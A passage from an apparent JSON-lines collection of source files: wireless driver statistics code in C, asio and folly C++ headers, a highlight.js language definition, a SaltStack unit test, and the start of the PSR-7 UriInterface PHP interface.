pStatistic->dwRsrDirected++;\n\n if (WLAN_GET_FC_MOREFRAG(pHeader->wFrameCtl))\n pStatistic->dwRsrRxFragment++;\n\n if (cbFrameLength < ETH_ZLEN + 4) {\n pStatistic->dwRsrRunt++;\n } else if (cbFrameLength == ETH_ZLEN + 4) {\n pStatistic->dwRsrRxFrmLen64++;\n }\n else if ((65 <= cbFrameLength) && (cbFrameLength <= 127)) {\n pStatistic->dwRsrRxFrmLen65_127++;\n }\n else if ((128 <= cbFrameLength) && (cbFrameLength <= 255)) {\n pStatistic->dwRsrRxFrmLen128_255++;\n }\n else if ((256 <= cbFrameLength) && (cbFrameLength <= 511)) {\n pStatistic->dwRsrRxFrmLen256_511++;\n }\n else if ((512 <= cbFrameLength) && (cbFrameLength <= 1023)) {\n pStatistic->dwRsrRxFrmLen512_1023++;\n } else if ((1024 <= cbFrameLength) &&\n\t (cbFrameLength <= ETH_FRAME_LEN + 4)) {\n pStatistic->dwRsrRxFrmLen1024_1518++;\n } else if (cbFrameLength > ETH_FRAME_LEN + 4) {\n pStatistic->dwRsrLong++;\n }\n}\n\n/*\n * Description: Update Rx Statistic Counter and copy Rx buffer\n *\n * Parameters:\n * In:\n * pStatistic - Pointer to Statistic Counter Data Structure\n * byRSR - Rx Status\n * byNewRSR - Rx Status\n * pbyBuffer - Rx Buffer\n * cbFrameLength - Rx Length\n * Out:\n * none\n *\n * Return Value: none\n *\n */\n\nvoid\nSTAvUpdateRDStatCounterEx (\n PSStatCounter pStatistic,\n BYTE byRSR,\n BYTE byNewRSR,\n BYTE byRxSts,\n BYTE byRxRate,\n PBYTE pbyBuffer,\n unsigned int cbFrameLength\n )\n{\n STAvUpdateRDStatCounter(\n pStatistic,\n byRSR,\n byNewRSR,\n byRxSts,\n byRxRate,\n pbyBuffer,\n cbFrameLength\n );\n\n // rx length\n pStatistic->dwCntRxFrmLength = cbFrameLength;\n // rx pattern, we just see 10 bytes for sample\n memcpy(pStatistic->abyCntRxPattern, (PBYTE)pbyBuffer, 10);\n}\n\n\n/*\n * Description: Update Tx Statistic Counter\n *\n * Parameters:\n * In:\n * pStatistic - Pointer to Statistic Counter Data Structure\n * byTSR0 - Tx Status\n * byTSR1 - Tx Status\n * pbyBuffer - Tx Buffer\n * cbFrameLength - Tx Length\n * uIdx - Index of Tx DMA\n * Out:\n * none\n *\n * Return Value: none\n *\n */\nvoid\nSTAvUpdateTDStatCounter (\n PSStatCounter pStatistic,\n BYTE byPktNum,\n BYTE byRate,\n BYTE byTSR\n )\n{\n BYTE byRetyCnt;\n // increase tx packet count\n pStatistic->dwTsrTxPacket++;\n\n byRetyCnt = (byTSR & 0xF0) >> 4;\n if (byRetyCnt != 0) {\n pStatistic->dwTsrRetry++;\n pStatistic->dwTsrTotalRetry += byRetyCnt;\n pStatistic->dwTxFail[byRate]+= byRetyCnt;\n pStatistic->dwTxFail[MAX_RATE] += byRetyCnt;\n\n if ( byRetyCnt == 0x1)\n pStatistic->dwTsrOnceRetry++;\n else\n pStatistic->dwTsrMoreThanOnceRetry++;\n\n if (byRetyCnt <= 8)\n pStatistic->dwTxRetryCount[byRetyCnt-1]++;\n\n }\n if ( !(byTSR & (TSR_TMO | TSR_RETRYTMO))) {\n\n if (byRetyCnt < 2)\n pStatistic->TxNoRetryOkCount ++;\n else\n pStatistic->TxRetryOkCount ++;\n\n pStatistic->ullTsrOK++;\n pStatistic->CustomStat.ullTsrAllOK++;\n // update counters in case that successful transmit\n pStatistic->dwTxOk[byRate]++;\n pStatistic->dwTxOk[MAX_RATE]++;\n\n if ( pStatistic->abyTxPktInfo[byPktNum].byBroadMultiUni == TX_PKT_BROAD ) {\n pStatistic->ullTxBroadcastFrames++;\n pStatistic->ullTxBroadcastBytes += pStatistic->abyTxPktInfo[byPktNum].wLength;\n } else if ( pStatistic->abyTxPktInfo[byPktNum].byBroadMultiUni == TX_PKT_MULTI ) {\n pStatistic->ullTxMulticastFrames++;\n pStatistic->ullTxMulticastBytes += pStatistic->abyTxPktInfo[byPktNum].wLength;\n } else if ( pStatistic->abyTxPktInfo[byPktNum].byBroadMultiUni == TX_PKT_UNI ) {\n pStatistic->ullTxDirectedFrames++;\n pStatistic->ullTxDirectedBytes += pStatistic->abyTxPktInfo[byPktNum].wLength;\n }\n }\n else {\n\n pStatistic->TxFailCount ++;\n\n pStatistic->dwTsrErr++;\n if (byTSR & TSR_RETRYTMO)\n pStatistic->dwTsrRetryTimeout++;\n if (byTSR & TSR_TMO)\n pStatistic->dwTsrTransmitTimeout++;\n }\n\n if ( pStatistic->abyTxPktInfo[byPktNum].byBroadMultiUni == TX_PKT_BROAD ) {\n pStatistic->dwTsrBroadcast++;\n } else if ( pStatistic->abyTxPktInfo[byPktNum].byBroadMultiUni == TX_PKT_MULTI ) {\n pStatistic->dwTsrMulticast++;\n } else if ( pStatistic->abyTxPktInfo[byPktNum].byBroadMultiUni == TX_PKT_UNI ) {\n pStatistic->dwTsrDirected++;\n }\n}\n\n\n\n/*\n * Description: Update 802.11 mib counter\n *\n * Parameters:\n * In:\n * p802_11Counter - Pointer to 802.11 mib counter\n * pStatistic - Pointer to Statistic Counter Data Structure\n * dwCounter - hardware counter for 802.11 mib\n * Out:\n * none\n *\n * Return Value: none\n *\n */\nvoid\nSTAvUpdate802_11Counter(\n PSDot11Counters p802_11Counter,\n PSStatCounter pStatistic,\n BYTE byRTSSuccess,\n BYTE byRTSFail,\n BYTE byACKFail,\n BYTE byFCSErr\n )\n{\n //p802_11Counter->TransmittedFragmentCount\n p802_11Counter->MulticastTransmittedFrameCount =\n (unsigned long long) (pStatistic->dwTsrBroadcast +\n\t\t\t pStatistic->dwTsrMulticast);\n p802_11Counter->FailedCount = (unsigned long long) (pStatistic->dwTsrErr);\n p802_11Counter->RetryCount = (unsigned long long) (pStatistic->dwTsrRetry);\n p802_11Counter->MultipleRetryCount =\n (unsigned long long) (pStatistic->dwTsrMoreThanOnceRetry);\n //p802_11Counter->FrameDuplicateCount\n p802_11Counter->RTSSuccessCount += (unsigned long long) byRTSSuccess;\n p802_11Counter->RTSFailureCount += (unsigned long long) byRTSFail;\n p802_11Counter->ACKFailureCount += (unsigned long long) byACKFail;\n p802_11Counter->FCSErrorCount += (unsigned long long) byFCSErr;\n //p802_11Counter->ReceivedFragmentCount\n p802_11Counter->MulticastReceivedFrameCount =\n (unsigned long long) (pStatistic->dwRsrBroadcast +\n\t\t\t pStatistic->dwRsrMulticast);\n}\n\n/*\n * Description: Clear 802.11 mib counter\n *\n * Parameters:\n * In:\n * p802_11Counter - Pointer to 802.11 mib counter\n * Out:\n * none\n *\n * Return Value: none\n *\n */\nvoid\nSTAvClear802_11Counter(PSDot11Counters p802_11Counter)\n{\n // set memory to zero\n\tmemset(p802_11Counter, 0, sizeof(SDot11Counters));\n}\n\n/*\n * Description: Clear 802.11 mib counter\n *\n * Parameters:\n * In:\n * pUsbCounter - Pointer to USB mib counter\n * ntStatus - URB status\n * Out:\n * none\n *\n * Return Value: none\n *\n */\n\nvoid STAvUpdateUSBCounter(PSUSBCounter pUsbCounter, int ntStatus)\n{\n\n// if ( ntStatus == USBD_STATUS_CRC ) {\n pUsbCounter->dwCrc++;\n// }\n\n}\n"} {"text": "//\n// streambuf.hpp\n// ~~~~~~~~~~~~~\n//\n// Copyright (c) 2003-2020 Christopher M. Kohlhoff (chris at kohlhoff dot com)\n//\n// Distributed under the Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n\n#ifndef ASIO_STREAMBUF_HPP\n#define ASIO_STREAMBUF_HPP\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1200)\n# pragma once\n#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)\n\n#include \"asio/detail/config.hpp\"\n\n#if !defined(ASIO_NO_IOSTREAM)\n\n#include \"asio/basic_streambuf.hpp\"\n\nnamespace asio {\n\n/// Typedef for the typical usage of basic_streambuf.\ntypedef basic_streambuf<> streambuf;\n\n} // namespace asio\n\n#endif // !defined(ASIO_NO_IOSTREAM)\n\n#endif // ASIO_STREAMBUF_HPP\n"} {"text": "<h1>axapta.js</h1>\n<pre><code class=\"lang-js\">module.exports = <span class=\"keyword\">function</span>(hljs) {\n <span class=\"keyword\">return</span> {\n keywords: <span class=\"string\">'false int abstract private char interface boolean static null if for true '</span> +\n <span class=\"string\">'while long throw finally protected extends final implements return void enum else '</span> +\n <span class=\"string\">'break new catch byte super class case short default double public try this switch '</span> +\n <span class=\"string\">'continue reverse firstfast firstonly forupdate nofetch sum avg minof maxof count '</span> +\n <span class=\"string\">'order group by asc desc index hint like dispaly edit client server ttsbegin '</span> +\n <span class=\"string\">'ttscommit str real date container anytype common div mod'</span>,\n contains: [\n hljs.C_LINE_COMMENT_MODE,\n hljs.C_BLOCK_COMMENT_MODE,\n hljs.APOS_STRING_MODE,\n hljs.QUOTE_STRING_MODE,\n hljs.C_NUMBER_MODE,\n {\n className: <span class=\"string\">'preprocessor'</span>,\n begin: <span class=\"string\">'#'</span>, end: <span class=\"string\">'$'</span>\n },\n {\n className: <span class=\"string\">'class'</span>,\n beginWithKeyword: <span class=\"literal\">true</span>, end: <span class=\"string\">'{'</span>,\n illegal: <span class=\"string\">':'</span>,\n keywords: <span class=\"string\">'class interface'</span>,\n contains: [\n {\n className: <span class=\"string\">'inheritance'</span>,\n beginWithKeyword: <span class=\"literal\">true</span>,\n keywords: <span class=\"string\">'extends implements'</span>,\n relevance: <span class=\"number\">10</span>\n },\n {\n className: <span class=\"string\">'title'</span>,\n begin: hljs.UNDERSCORE_IDENT_RE\n }\n ]\n }\n ]\n };\n};</code></pre>"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nunittests for table outputter\n\"\"\"\n\n# Import Python Libs\nfrom __future__ import absolute_import, print_function, unicode_literals\n\n# Import Salt Libs\nimport salt.output.table_out as table_out\nimport salt.utils.stringutils\n\n# Import Salt Testing Libs\nfrom tests.support.mixins import LoaderModuleMockMixin\nfrom tests.support.unit import TestCase\n\n\nclass TableTestCase(TestCase, LoaderModuleMockMixin):\n \"\"\"\n Test cases for salt.output.table_out\n \"\"\"\n\n def setup_loader_modules(self):\n return {table_out: {}}\n\n # The test data should include unicode chars, and in Python 2 there should\n # be an example both of an encoded str type and an actual unicode type.\n # Since unicode_literals is imported, we will achieve the former using\n # salt.utils.stringutils.to_str and the latter by simply using a string\n # literal.\n data = [\n {\n \"Food\": salt.utils.stringutils.to_str(\"яйца, бекон, колбаса и спам\"),\n \"Price\": 5.99,\n },\n {\"Food\": \"спам, спам, спам, яйца и спам\", \"Price\": 3.99},\n ]\n\n def test_output(self):\n ret = table_out.output(self.data)\n self.assertEqual(\n ret,\n (\n \" -----------------------------------------\\n\"\n \" | Food | Price |\\n\"\n \" -----------------------------------------\\n\"\n \" | яйца, бекон, колбаса и спам | 5.99 |\\n\"\n \" -----------------------------------------\\n\"\n \" | спам, спам, спам, яйца и спам | 3.99 |\\n\"\n \" -----------------------------------------\"\n ),\n )\n"} {"text": "/*\n * Copyright 2016 Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * This module provides a traits class for describing properties about mutex\n * classes.\n *\n * This is a primitive for building higher-level abstractions that can work\n * with a variety of mutex classes. For instance, this allows\n * folly::Synchronized to support a number of different mutex types.\n */\n#pragma once\n\n#include <chrono>\n#include <type_traits>\n\n// Android, OSX, and Cygwin don't have timed mutexes\n#if defined(ANDROID) || defined(__ANDROID__) || defined(__APPLE__) || \\\n defined(__CYGWIN__)\n#define FOLLY_LOCK_TRAITS_HAVE_TIMED_MUTEXES 0\n#else\n#define FOLLY_LOCK_TRAITS_HAVE_TIMED_MUTEXES 1\n#endif\n\nnamespace folly {\nnamespace detail {\n\n/**\n * An enum to describe the \"level\" of a mutex. The supported levels are\n * Unique - a normal mutex that supports only exclusive locking\n * Shared - a shared mutex which has shared locking and unlocking functions;\n * Upgrade - a mutex that has all the methods of the two above along with\n * support for upgradable locking\n */\nenum class MutexLevel { UNIQUE, SHARED, UPGRADE };\n\n/**\n * A template dispatch mechanism that is used to determine the level of the\n * mutex based on its interface. As decided by LockInterfaceDispatcher.\n */\ntemplate <bool is_unique, bool is_shared, bool is_upgrade>\nstruct MutexLevelValueImpl;\ntemplate <>\nstruct MutexLevelValueImpl<true, false, false> {\n static constexpr MutexLevel value = MutexLevel::UNIQUE;\n};\ntemplate <>\nstruct MutexLevelValueImpl<true, true, false> {\n static constexpr MutexLevel value = MutexLevel::SHARED;\n};\ntemplate <>\nstruct MutexLevelValueImpl<true, true, true> {\n static constexpr MutexLevel value = MutexLevel::UPGRADE;\n};\n\n/**\n * An internal helper class to help identify the interface supported by the\n * mutex. This is used in conjunction with the above MutexLevel\n * specializations and the LockTraitsImpl to determine what functions are\n * supported by objects of type Mutex\n *\n * The implementation uses SINAE in the return value with trailing return\n * types to figure out what level a mutex is\n */\ntemplate <class Mutex>\nclass LockInterfaceDispatcher {\n private:\n // assert that the mutex type has basic lock and unlock functions\n static_assert(\n std::is_same<decltype(std::declval<Mutex>().lock()), void>::value,\n \"The mutex type must support lock and unlock functions\");\n\n // Helper functions for implementing the traits using SFINAE\n template <class T>\n static auto timed_lock_test(T*) -> typename std::is_same<\n decltype(std::declval<T>().try_lock_for(std::chrono::milliseconds(0))),\n bool>::type;\n template <class T>\n static std::false_type timed_lock_test(...);\n\n template <class T>\n static auto lock_shared_test(T*) -> typename std::\n is_same<decltype(std::declval<T>().lock_shared()), void>::type;\n template <class T>\n static std::false_type lock_shared_test(...);\n\n template <class T>\n static auto lock_upgrade_test(T*) -> typename std::\n is_same<decltype(std::declval<T>().lock_upgrade()), void>::type;\n template <class T>\n static std::false_type lock_upgrade_test(...);\n\n public:\n static constexpr bool has_lock_unique = true;\n static constexpr bool has_lock_timed =\n decltype(timed_lock_test<Mutex>(0))::value;\n static constexpr bool has_lock_shared =\n decltype(lock_shared_test<Mutex>(0))::value;\n static constexpr bool has_lock_upgrade =\n decltype(lock_upgrade_test<Mutex>(0))::value;\n};\n\n/**\n * LockTraitsImpl is the base that is used to desribe the interface used by\n * different mutex types. It accepts a MutexLevel argument and a boolean to\n * show whether the mutex is a timed mutex or not. The implementations are\n * partially specialized and inherit from the other implementations to get\n * similar functionality\n */\ntemplate <class Mutex, MutexLevel level, bool is_timed>\nstruct LockTraitsImpl;\n\ntemplate <class Mutex>\nstruct LockTraitsImpl<Mutex, MutexLevel::UNIQUE, false> {\n static constexpr bool is_timed{false};\n static constexpr bool is_shared{false};\n static constexpr bool is_upgrade{false};\n\n /**\n * Acquire the lock exclusively.\n */\n static void lock(Mutex& mutex) {\n mutex.lock();\n }\n\n /**\n * Release an exclusively-held lock.\n */\n static void unlock(Mutex& mutex) {\n mutex.unlock();\n }\n};\n\n/**\n * Higher level mutexes have all the capabilities of the lower levels so\n * inherit\n */\ntemplate <class Mutex>\nstruct LockTraitsImpl<Mutex, MutexLevel::SHARED, false>\n : public LockTraitsImpl<Mutex, MutexLevel::UNIQUE, false> {\n static constexpr bool is_timed{false};\n static constexpr bool is_shared{true};\n static constexpr bool is_upgrade{false};\n\n /**\n * Acquire the lock in shared (read) mode.\n */\n static void lock_shared(Mutex& mutex) {\n mutex.lock_shared();\n }\n\n /**\n * Release a lock held in shared mode.\n */\n static void unlock_shared(Mutex& mutex) {\n mutex.unlock_shared();\n }\n};\n\n/**\n * The following methods are supported. There are a few methods\n *\n * m.lock_upgrade()\n * m.unlock_upgrade()\n *\n * m.unlock_upgrade_and_lock()\n *\n * m.unlock_and_lock_upgrade()\n * m.unlock_and_lock_shared()\n * m.unlock_upgrade_and_lock_shared()\n *\n * m.try_lock_upgrade_for(rel_time)\n * m.try_unlock_upgrade_and_lock_for(rel_time)\n *\n * Upgrading a shared lock is likely to deadlock when there is more than one\n * thread performing an upgrade. This applies both to upgrading a shared lock\n * to an upgrade lock and to upgrading a shared lock to a unique lock.\n *\n * Therefore, none of the following methods is supported:\n * unlock_shared_and_lock_upgrade\n * unlock_shared_and_lock\n * try_unlock_shared_and_lock_upgrade\n * try_unlock_shared_and_lock\n * try_unlock_shared_and_lock_upgrade_for\n * try_unlock_shared_and_lock_for\n */\ntemplate <class Mutex>\nstruct LockTraitsImpl<Mutex, MutexLevel::UPGRADE, false>\n : public LockTraitsImpl<Mutex, MutexLevel::SHARED, false> {\n static constexpr bool is_timed{false};\n static constexpr bool is_shared{true};\n static constexpr bool is_upgrade{true};\n\n /**\n * Acquire the lock in upgradable mode.\n */\n static void lock_upgrade(Mutex& mutex) {\n mutex.lock_upgrade();\n }\n\n /**\n * Release the lock in upgrade mode\n */\n static void unlock_upgrade(Mutex& mutex) {\n mutex.unlock_upgrade();\n }\n\n /**\n * Upgrade from an upgradable state to an exclusive state\n */\n static void unlock_upgrade_and_lock(Mutex& mutex) {\n mutex.unlock_upgrade_and_lock();\n }\n\n /**\n * Downgrade from an exclusive state to an upgrade state\n */\n static void unlock_and_lock_upgrade(Mutex& mutex) {\n mutex.unlock_and_lock_upgrade();\n }\n\n /**\n * Downgrade from an exclusive state to a shared state\n */\n static void unlock_and_lock_shared(Mutex& mutex) {\n mutex.unlock_and_lock_shared();\n }\n\n /**\n * Downgrade from an upgrade state to a shared state\n */\n static void unlock_upgrade_and_lock_shared(Mutex& mutex) {\n mutex.unlock_upgrade_and_lock_shared();\n }\n};\n\ntemplate <class Mutex>\nstruct LockTraitsImpl<Mutex, MutexLevel::UNIQUE, true>\n : public LockTraitsImpl<Mutex, MutexLevel::UNIQUE, false> {\n static constexpr bool is_timed{true};\n static constexpr bool is_shared{false};\n static constexpr bool is_upgrade{false};\n\n /**\n * Acquire the lock exclusively, with a timeout.\n *\n * Returns true or false indicating if the lock was acquired or not.\n */\n template <class Rep, class Period>\n static bool try_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return mutex.try_lock_for(timeout);\n }\n};\n\n/**\n * Note that there is no deadly diamond here because all the structs only have\n * static functions and static bools which are going to be overridden by the\n * lowest level implementation\n */\ntemplate <class Mutex>\nstruct LockTraitsImpl<Mutex, MutexLevel::SHARED, true>\n : public LockTraitsImpl<Mutex, MutexLevel::SHARED, false>,\n public LockTraitsImpl<Mutex, MutexLevel::UNIQUE, true> {\n static constexpr bool is_timed{true};\n static constexpr bool is_shared{true};\n static constexpr bool is_upgrade{false};\n\n /**\n * Acquire the lock exclusively, with a timeout.\n *\n * Returns true or false indicating if the lock was acquired or not.\n */\n template <class Rep, class Period>\n static bool try_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return mutex.try_lock_for(timeout);\n }\n\n /**\n * Acquire the lock in shared (read) mode, with a timeout.\n *\n * Returns true or false indicating if the lock was acquired or not.\n */\n template <class Rep, class Period>\n static bool try_lock_shared_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return mutex.try_lock_shared_for(timeout);\n }\n};\n\ntemplate <class Mutex>\nstruct LockTraitsImpl<Mutex, MutexLevel::UPGRADE, true>\n : public LockTraitsImpl<Mutex, MutexLevel::UPGRADE, false>,\n public LockTraitsImpl<Mutex, MutexLevel::SHARED, true> {\n static constexpr bool is_timed{true};\n static constexpr bool is_shared{true};\n static constexpr bool is_upgrade{true};\n\n /**\n * Acquire the lock in upgrade mode with a timeout\n *\n * Returns true or false indicating whether the lock was acquired or not\n */\n template <class Rep, class Period>\n static bool try_lock_upgrade_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return mutex.try_lock_upgrade_for(timeout);\n }\n\n /**\n * Try to upgrade from an upgradable state to an exclusive state.\n *\n * Returns true or false indicating whether the lock was acquired or not\n */\n template <class Rep, class Period>\n static bool try_unlock_upgrade_and_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return mutex.try_unlock_upgrade_and_lock_for(timeout);\n }\n};\n\n} // detail\n\n/**\n * LockTraits describes details about a particular mutex type.\n *\n * The default implementation automatically attempts to detect traits\n * based on the presence of various member functions.\n *\n * You can specialize LockTraits to provide custom behavior for lock\n * classes that do not use the standard method names\n * (lock()/unlock()/lock_shared()/unlock_shared()/try_lock_for())\n *\n *\n * LockTraits contains the following members variables:\n * - static constexpr bool is_shared\n * True if the lock supports separate shared vs exclusive locking states.\n * - static constexpr bool is_timed\n * True if the lock supports acquiring the lock with a timeout.\n * - static constexpr bool is_upgrade\n * True if the lock supports an upgradable state\n *\n * The following static methods always exist:\n * - lock(Mutex& mutex)\n * - unlock(Mutex& mutex)\n *\n * The following static methods may exist, depending on is_shared, is_timed\n * and is_upgrade:\n * - lock_shared()\n *\n * - try_lock_for()\n * - try_lock_shared_for()\n *\n * - lock_upgrade()\n * - unlock_upgrade_and_lock()\n * - unlock_and_lock_upgrade()\n * - unlock_and_lock_shared()\n * - unlock_upgrade_and_lock_shared()\n *\n * - try_lock_upgrade_for()\n * - try_unlock_upgrade_and_lock_for()\n *\n * - unlock_shared()\n * - unlock_upgrade()\n */\n\n/**\n * Decoupling LockTraits and LockTraitsBase so that if people want to fully\n * specialize LockTraits then they can inherit from LockTraitsBase instead\n * of LockTraits with all the same goodies :)\n */\ntemplate <class Mutex>\nstruct LockTraitsBase\n : public detail::LockTraitsImpl<\n Mutex,\n detail::MutexLevelValueImpl<\n detail::LockInterfaceDispatcher<Mutex>::has_lock_unique,\n detail::LockInterfaceDispatcher<Mutex>::has_lock_shared,\n detail::LockInterfaceDispatcher<Mutex>::has_lock_upgrade>::value,\n detail::LockInterfaceDispatcher<Mutex>::has_lock_timed> {};\n\ntemplate <class Mutex>\nstruct LockTraits : public LockTraitsBase<Mutex> {};\n\n/**\n * If the lock is a shared lock, acquire it in shared mode.\n * Otherwise, for plain (exclusive-only) locks, perform a normal acquire.\n */\ntemplate <class Mutex>\ntypename std::enable_if<LockTraits<Mutex>::is_shared>::type\nlock_shared_or_unique(Mutex& mutex) {\n LockTraits<Mutex>::lock_shared(mutex);\n}\ntemplate <class Mutex>\ntypename std::enable_if<!LockTraits<Mutex>::is_shared>::type\nlock_shared_or_unique(Mutex& mutex) {\n LockTraits<Mutex>::lock(mutex);\n}\n\n/**\n * If the lock is a shared lock, try to acquire it in shared mode, for up to\n * the given timeout. Otherwise, for plain (exclusive-only) locks, try to\n * perform a normal acquire.\n *\n * Returns true if the lock was acquired, or false on time out.\n */\ntemplate <class Mutex, class Rep, class Period>\ntypename std::enable_if<LockTraits<Mutex>::is_shared, bool>::type\ntry_lock_shared_or_unique_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return LockTraits<Mutex>::try_lock_shared_for(mutex, timeout);\n}\ntemplate <class Mutex, class Rep, class Period>\ntypename std::enable_if<!LockTraits<Mutex>::is_shared, bool>::type\ntry_lock_shared_or_unique_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return LockTraits<Mutex>::try_lock_for(mutex, timeout);\n}\n\n/**\n * Release a lock acquired with lock_shared_or_unique()\n */\ntemplate <class Mutex>\ntypename std::enable_if<LockTraits<Mutex>::is_shared>::type\nunlock_shared_or_unique(Mutex& mutex) {\n LockTraits<Mutex>::unlock_shared(mutex);\n}\ntemplate <class Mutex>\ntypename std::enable_if<!LockTraits<Mutex>::is_shared>::type\nunlock_shared_or_unique(Mutex& mutex) {\n LockTraits<Mutex>::unlock(mutex);\n}\n\n/*\n * Lock policy classes.\n *\n * These can be used as template parameters to provide compile-time\n * selection over the type of lock operation to perform.\n */\n\n/**\n * A lock policy that performs exclusive lock operations.\n */\nstruct LockPolicyExclusive {\n template <class Mutex>\n static void lock(Mutex& mutex) {\n LockTraits<Mutex>::lock(mutex);\n }\n template <class Mutex, class Rep, class Period>\n static bool try_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return LockTraits<Mutex>::try_lock_for(mutex, timeout);\n }\n template <class Mutex>\n static void unlock(Mutex& mutex) {\n LockTraits<Mutex>::unlock(mutex);\n }\n};\n\n/**\n * A lock policy that performs shared lock operations.\n * This policy only works with shared mutex types.\n */\nstruct LockPolicyShared {\n template <class Mutex>\n static void lock(Mutex& mutex) {\n LockTraits<Mutex>::lock_shared(mutex);\n }\n template <class Mutex, class Rep, class Period>\n static bool try_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return LockTraits<Mutex>::try_lock_shared_for(mutex, timeout);\n }\n template <class Mutex>\n static void unlock(Mutex& mutex) {\n LockTraits<Mutex>::unlock_shared(mutex);\n }\n};\n\n/**\n * A lock policy that performs a shared lock operation if a shared mutex type\n * is given, or a normal exclusive lock operation on non-shared mutex types.\n */\nstruct LockPolicyShareable {\n template <class Mutex>\n static void lock(Mutex& mutex) {\n lock_shared_or_unique(mutex);\n }\n template <class Mutex, class Rep, class Period>\n static bool try_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return try_lock_shared_or_unique_for(mutex, timeout);\n }\n template <class Mutex>\n static void unlock(Mutex& mutex) {\n unlock_shared_or_unique(mutex);\n }\n};\n\n/**\n * A lock policy with the following mapping\n *\n * lock() -> lock_upgrade()\n * unlock() -> unlock_upgrade()\n * try_lock_for -> try_lock_upgrade_for()\n */\nstruct LockPolicyUpgrade {\n template <class Mutex>\n static void lock(Mutex& mutex) {\n LockTraits<Mutex>::lock_upgrade(mutex);\n }\n template <class Mutex, class Rep, class Period>\n static bool try_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return LockTraits<Mutex>::try_lock_upgrade_for(mutex, timeout);\n }\n template <class Mutex>\n static void unlock(Mutex& mutex) {\n LockTraits<Mutex>::unlock_upgrade(mutex);\n }\n};\n\n/*****************************************************************************\n * Policies for all the transitions from possible mutex levels\n ****************************************************************************/\n/**\n * A lock policy with the following mapping\n *\n * lock() -> unlock_upgrade_and_lock()\n * unlock() -> unlock()\n * try_lock_for -> try_unlock_upgrade_and_lock_for()\n */\nstruct LockPolicyFromUpgradeToExclusive : public LockPolicyExclusive {\n template <class Mutex>\n static void lock(Mutex& mutex) {\n LockTraits<Mutex>::unlock_upgrade_and_lock(mutex);\n }\n template <class Mutex, class Rep, class Period>\n static bool try_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>& timeout) {\n return LockTraits<Mutex>::try_unlock_upgrade_and_lock_for(mutex, timeout);\n }\n};\n\n/**\n * A lock policy with the following mapping\n *\n * lock() -> unlock_and_lock_upgrade()\n * unlock() -> unlock_upgrade()\n * try_lock_for -> unlock_and_lock_upgrade()\n */\nstruct LockPolicyFromExclusiveToUpgrade : public LockPolicyUpgrade {\n template <class Mutex>\n static void lock(Mutex& mutex) {\n LockTraits<Mutex>::unlock_and_lock_upgrade(mutex);\n }\n template <class Mutex, class Rep, class Period>\n static bool try_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>&) {\n LockTraits<Mutex>::unlock_and_lock_upgrade(mutex);\n\n // downgrade should be non blocking and should succeed\n return true;\n }\n};\n\n/**\n * A lock policy with the following mapping\n *\n * lock() -> unlock_upgrade_and_lock_shared()\n * unlock() -> unlock_shared()\n * try_lock_for -> unlock_upgrade_and_lock_shared()\n */\nstruct LockPolicyFromUpgradeToShared : public LockPolicyShared {\n template <class Mutex>\n static void lock(Mutex& mutex) {\n LockTraits<Mutex>::unlock_upgrade_and_lock_shared(mutex);\n }\n template <class Mutex, class Rep, class Period>\n static bool try_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>&) {\n LockTraits<Mutex>::unlock_upgrade_and_lock_shared(mutex);\n\n // downgrade should be non blocking and should succeed\n return true;\n }\n};\n\n/**\n * A lock policy with the following mapping\n *\n * lock() -> unlock_and_lock_shared()\n * unlock() -> unlock_shared()\n * try_lock_for() -> unlock_and_lock_shared()\n */\nstruct LockPolicyFromExclusiveToShared : public LockPolicyShared {\n template <class Mutex>\n static void lock(Mutex& mutex) {\n LockTraits<Mutex>::unlock_and_lock_shared(mutex);\n }\n template <class Mutex, class Rep, class Period>\n static bool try_lock_for(\n Mutex& mutex,\n const std::chrono::duration<Rep, Period>&) {\n LockTraits<Mutex>::unlock_and_lock_shared(mutex);\n\n // downgrade should be non blocking and should succeed\n return true;\n }\n};\n\n} // folly\n"} {"text": "<?php\nnamespace Psr\\Http\\Message;\n\n/**\n * Value object representing a URI.\n *\n * This interface is meant to represent URIs according to RFC 3986 and to\n * provide methods for most common operations. Additional functionality for\n * working with URIs can be provided on top of the interface or externally.\n * Its primary use is for HTTP requests, but may also be used in other\n * contexts.\n *\n * Instances of this interface are considered immutable; all methods that\n * might change state MUST be implemented such that they retain the internal\n * state of the current instance and return an instance that contains the\n * changed state.\n *\n * Typically the Host header will be also be present in the request message.\n * For server-side requests, the scheme will typically be discoverable in the\n * server parameters.\n *\n * @link http://tools.ietf.org/html/rfc3986 (the URI specification)\n */\ninterface UriInterface\n{\n /**\n * Retrieve the scheme component of the URI.\n *\n * If no scheme is present, this method MUST return an empty string.\n *\n * The value returned MUST be normalized to lowercase, per RFC 3986\n * Section 3.1.\n *\n * The trailing \":\" character is not part of the scheme and MUST NOT be\n * added.\n *\n * @see https://tools.ietf.org/html/rfc3986#section-3.1\n * @return string The URI scheme.\n */\n public function 